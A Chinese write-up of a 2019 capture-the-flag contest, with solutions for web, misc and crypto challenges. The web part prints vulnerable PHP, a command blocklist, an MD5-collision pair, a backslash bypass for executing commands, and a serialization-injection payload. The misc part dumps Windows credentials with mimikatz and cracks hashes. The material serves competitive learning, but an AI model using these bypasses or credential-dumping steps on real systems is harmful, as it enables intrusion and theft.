第二屆安洵杯2019部分writeup

Web

easy_web

參數可疑:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
TXpVek5UTTFNbVUzTURabE5qYz0進行兩次base64解密,一次hex解密得到555.png

可能是可能利用的文件讀取漏洞,對index.php進行讀取

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

參數cmd是推測是命令執行的,但是有正則過濾:

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)

而且還有md5碰撞:

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

這個md5的繞過方法比較固定:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然後就可以命令執行了,用的burp發的包,我的hackbar執行之後不出結果,可能哪裏有問題
在這裏插入圖片描述沒有flag線索啊,dir%20/看下根目錄文件試試:
在這裏插入圖片描述注意空格%20編碼,不然沒結果
cat、tac、more、less、tail等查看文件內容的都被禁用了,怎麼查看flag呢?
從過濾代碼中看到:|\|\\|
然而|\|纔是匹配一個\,所以使用\繞過:cmd=/bin/ca\t或者cmd=/bin/c\at
(l\s c\at這樣帶個轉義字符的命令在Linux上也是確實可以執行的)
在這裏插入圖片描述

easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

首先phpinfo這裏有提示,傳參f=phpinfo可以找到d0g3_f1ag.php,可能就是flag從存放處了。

仔細看一下代碼我們要上處的是_SESSION,目的是反序列化並base64decode之後要讀到d0g3_f1ag.php。
構造payload:

_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

可以看到巧妙之處,這樣經過filter(serialize($_SESSION))之後得到:

a:1:{s:7:"";s:48:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";}

由於phpflag被過濾,s:7的內容就變成了";s:48:,這樣後面的s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;可以正常解析爲img=ZDBnM19mMWFnLnBocA==,這樣d0g3_f1ag.php就可以被讀到了
在這裏插入圖片描述(記得修改爲POST方法,右鍵change)
接着讀取/d0g3_fllllllag即可

Misc

吹着斯掃維碼

這個就有點過分了,36張碎片,手動拼二維碼
在這裏插入圖片描述
二維碼掃出來的結果是:

BASE Family Bucket ??? 85->64->85->13->16->32

下面就需要把壓縮包的註釋內容進行base的這一系列的解碼了,但是這個13是什麼玩意。。。(rot13啦,被騙了QAQ)
(爲毛能爆破出壓縮包的密碼,解出來flag.txt是亂碼。。。被這個誤導了)
上面的其實是加密順序,解碼順序和上面的相反
GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY
base32解碼:3A715D3E574E36326F733C5E625D213B2C62652E3D6E3B7640392F3137274038624148
base16解碼::q]>WN62os<^b]!;,be.=n;v@9/17’@8bAH
rot13解碼::d]>JA62bf<^o]!;,or.=a;i@9/17’@8oNU
base85解碼:PCtvdWU4VFJnQUByYy4mK1lraTA=
base64解碼:<+oue8TRgA@rc.&+Yki0
base85解碼:ThisIsSecret!233
解壓拿到flag:flag{Qr_Is_MeAn1nGfuL}

music

解壓有三個文件:
在這裏插入圖片描述
password.txt中內容:

3.mp3的密碼是123456哦

使用mp3stego和密碼123456解密3.mp3:

Decode.exe -X 3.mp3 -P 123456

解密得到:密碼是123qwe123
解壓林俊杰壓縮包得到wav文件,這個依然是個隱寫,使用silenteye去decode得到flag:flag{lsb_is_so_easy}

secret

解壓得到的是dump內存文件,使用volatility進行分析
先看下大致信息:

volatility -f mem.dump imageinfo

在這裏插入圖片描述
然後看一下內存中的進程

volatility -f mem.dump --profile=Win7SP1x64 pslist

在這裏插入圖片描述

發現下面兩個可以的DumpIt.exe和CnCrypt.exe,看來這題和CnCrypt有關,CnCrypt是中國版TrueCrypt,是一個加密文件,加密過的文件後綴爲ccx。

查看一下內存中的file有沒有flag的信息:

volatility -f mem.dump --profile=Win7SP1x64 filescan | grep flag

果然出現flag.ccx,然後導出:

volatility -f mem.dump --profile=Win7SP1x64 dumpfiles -Q 0x000000003e435890 -D ./ -u

文件名是根據volatility的內部模式命名的,改名爲flag.ccx

掛載到CnCrypt上,需要密碼才能查看
哪有密碼的線索?使用administrator的密碼試試吧
volatility導出administrator的hash值得到:

Administrator:500:6377a2fdb0151e35b75e0c8d76954a50:0d546438b1f4c396753b4fc8c8565d5b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

0d546438b1f4c396753b4fc8c8565d5b拿去md5解密得到密碼ABCabc123
解開ccx文件進入這個磁盤拿到flag:flag{now_you_see_my_secret}

Attrack

binwalk發現有壓縮包,foremost分解出來,還有很多圖片,壓縮包裏面就是flag,但是沒有解壓密碼
壓縮包註釋裏面:

這可是administrator的祕密,怎麼能隨便給人看呢?

聯想到可能是windows密碼,繼續進行數據包分析,HTTP對象中有:
在這裏插入圖片描述一個鏡像文件,應該就是Windows的,接下來就是獲取Windows憑據了,使用工具mimikatz來抓取密碼:
(Windows下要管理員身份運行才能正常運行)

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
可以看到導出的密碼:
在這裏插入圖片描述解壓得flag.txt,flag在文件最下面:D0g3{3466b11de8894198af3636c5bd1efce2}

Crypto

funney-php

題目代碼:

<?php
$miwen="=Z2KqkyJnu1IKMIIHgyJDO1GBkRGCWIFWqxFSEHFXS0C/NxC80GB54mC9DQA0RGZ";

function encode($str){

	$str1=array();
	$str1=unpack("C*",$str);
	for($_0=0;$_0<count($str1);$_0++){
		$_c=$str1[$_0];
		$_=$_.$_c;
	}

	$_d=array();
	for($_1=0;$_1<strlen($_);$_1++){
		$_d[$_1]=substr($_,$_1,1);		
		$_e=ord($_d[$_1])+$_1;
		$_f=chr($_e);
		$__=$__.$_f;
		if($__%100==0)
			$__=base64_encode($__);
	}
	$__=strrev(str_rot13(base64_encode($__)));

	return $__;
	
}

$anwser=encode($str);
print($anwser);
?>

解密代碼:

//來自Nepnep大佬們的腳本,自己寫的稍微複雜了點
<?php
$miwen="=Z2KqkyJnu1IKMIIHgyJDO1GBkRGCWIFWqxFSEHFXS0C/NxC80GB54mC9DQA0RGZ";

function decode($encode_str){

$__  = base64_decode(str_rot13(strrev($encode_str)));

for ($i=0; $i < strlen($encode_str); $i++) { 

$_.=chr(ord($__[$i])-$i);

}
echo '<br>解密後的flag爲(這是ascii轉換爲字符即可):'.$_.'<br>';
}
// flag{easy_encode}

題目代碼中的if($__%100==0)沒啥用

justaBase

VGhlIGdlb@xvZ#kgb@YgdGhlIEVhcnRoJ#Mgc#VyZmFjZSBpcyBkb@!pbmF)ZWQgYnkgdGhlIHBhcnRpY#VsYXIgcHJvcGVydGllcyBvZiB#YXRlci$gUHJlc@VudCBvbiBFYXJ)aCBpbiBzb@xpZCwgbGlxdWlkLCBhbmQgZ@FzZW(!cyBzdGF)ZXMsIHdhdGVyIGlzIGV$Y@VwdGlvbmFsbHkgcmVhY#RpdmUuIEl)IGRpc#NvbHZlcywgdHJhbnNwb#J)cywgYW%kIHByZWNpcGl)YXRlcyBtYW%%IGNoZW!pY@FsIGNvbXBvdW%kcyBhbmQgaXMgY@(uc#RhbnRseSBtb@RpZnlpbmcgdGhlIGZhY@Ugb@YgdGhlIEVhcnRoLiBFdmFwb#JhdGVkIGZyb@)gdGhlIG(jZWFucywgd@F)ZXIgdmFwb#IgZm(ybXMgY@xvdWRzLCBzb@!lIG(mIHdoaWNoIGFyZSB)cmFuc#BvcnRlZCBieSB#aW%kIG(@ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm(tIHRoZSBjbG(!ZHMgcHJvdmlkZXMgdGhlIGVzc@VudGlhbCBhZ@VudCBvZiBjb@%)aW%lbnRhbCBlcm(zaW(uOiByYWluLlRoZSByYXRlIGF)IHdoaWNoIGEgbW(sZWN!bGUgb@Ygd@F)ZXIgcGFzc@VzIHRob#VnaCB)aGUgY#ljbGUgaXMgbm()IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM^IENURnsyMi!RV)VSVFlVSU*tUExLSkhHRkRTLUFaWENWQk%NfQ==

在字母數字鍵盤上把每個符號換成對應的數字即可

VGhlIGdlb2xvZ3kgb2YgdGhlIEVhcnRoJ3Mgc3VyZmFjZSBpcyBkb21pbmF0ZWQgYnkgdGhlIHBhcnRpY3VsYXIgcHJvcGVydGllcyBvZiB3YXRlci4gUHJlc2VudCBvbiBFYXJ0aCBpbiBzb2xpZCwgbGlxdWlkLCBhbmQgZ2FzZW91cyBzdGF0ZXMsIHdhdGVyIGlzIGV4Y2VwdGlvbmFsbHkgcmVhY3RpdmUuIEl0IGRpc3NvbHZlcywgdHJhbnNwb3J0cywgYW5kIHByZWNpcGl0YXRlcyBtYW55IGNoZW1pY2FsIGNvbXBvdW5kcyBhbmQgaXMgY29uc3RhbnRseSBtb2RpZnlpbmcgdGhlIGZhY2Ugb2YgdGhlIEVhcnRoLiBFdmFwb3JhdGVkIGZyb20gdGhlIG9jZWFucywgd2F0ZXIgdmFwb3IgZm9ybXMgY2xvdWRzLCBzb21lIG9mIHdoaWNoIGFyZSB0cmFuc3BvcnRlZCBieSB3aW5kIG92ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm9tIHRoZSBjbG91ZHMgcHJvdmlkZXMgdGhlIGVzc2VudGlhbCBhZ2VudCBvZiBjb250aW5lbnRhbCBlcm9zaW9uOiByYWluLlRoZSByYXRlIGF0IHdoaWNoIGEgbW9sZWN1bGUgb2Ygd2F0ZXIgcGFzc2VzIHRob3VnaCB0aGUgY3ljbGUgaXMgbm90IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM6IENURnsyMi1RV0VSVFlVSU8tUExLSkhHRkRTLUFaWENWQk5NfQ

解碼得到flag:CTF{22-QWERTYUIO-PLKJHGFDS-AZXCVBNM}

easy misc

文件是不少啊,read文件夾裏面有很多英文文檔,推測是字頻或者詞頻分析,但是這麼多文件並不知道要分析哪個。
在這裏插入圖片描述

看看小姐姐.png吧,foremost可以分出來兩個一樣的圖片,盲水印試一下得到一張圖片:
在這裏插入圖片描述看到in 11.txt,看來是要分析11.txt了,先字頻分析一下按順序排列得到:etaonrhsidluygw
下一步卡殼,不過還有壓縮包沒幹
在這裏插入圖片描述看到註釋部分:FLAG IN ((√2524921X85÷5+2)÷15-1794)+NNULLULL,
也就是7+NNULLULL,
這個7是什麼呢?看來wp之後才知道是掩碼爆破,7個數字+NNULLULL,
在這裏插入圖片描述掩碼爆破就出密碼了:2019456NNULLULL,

然後解密得到:

a = dIW
b = sSD
c = adE
d = jVf
e = QW8
f = SA=
g = jBt
h = 5RE
i = tRQ
j = SPA
k = 8DS
l = XiE
m = S8S
n = MkF
o = T9p
p = PS5
q = E/S
r = -sd
s = SQW
t = obW
u = /WS
v = SD9
w = cw=
x = ASD
y = FTa
z = AE7

按照etaonrhsidluygw的順序進行拼接得到:QW8obWdIWT9pMkF-sd5RESQWtRQjVfXiE/WSASDjBtcw=

但是由於題目出了點問題,r = -sd改爲r = null h = 5RE改爲h = null,這樣拼接之後就是QW8obWdIWT9pMkFSQWtRQjVfXiE/WSFTajBtcw=,然後base64解碼,base85解碼得到flag。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章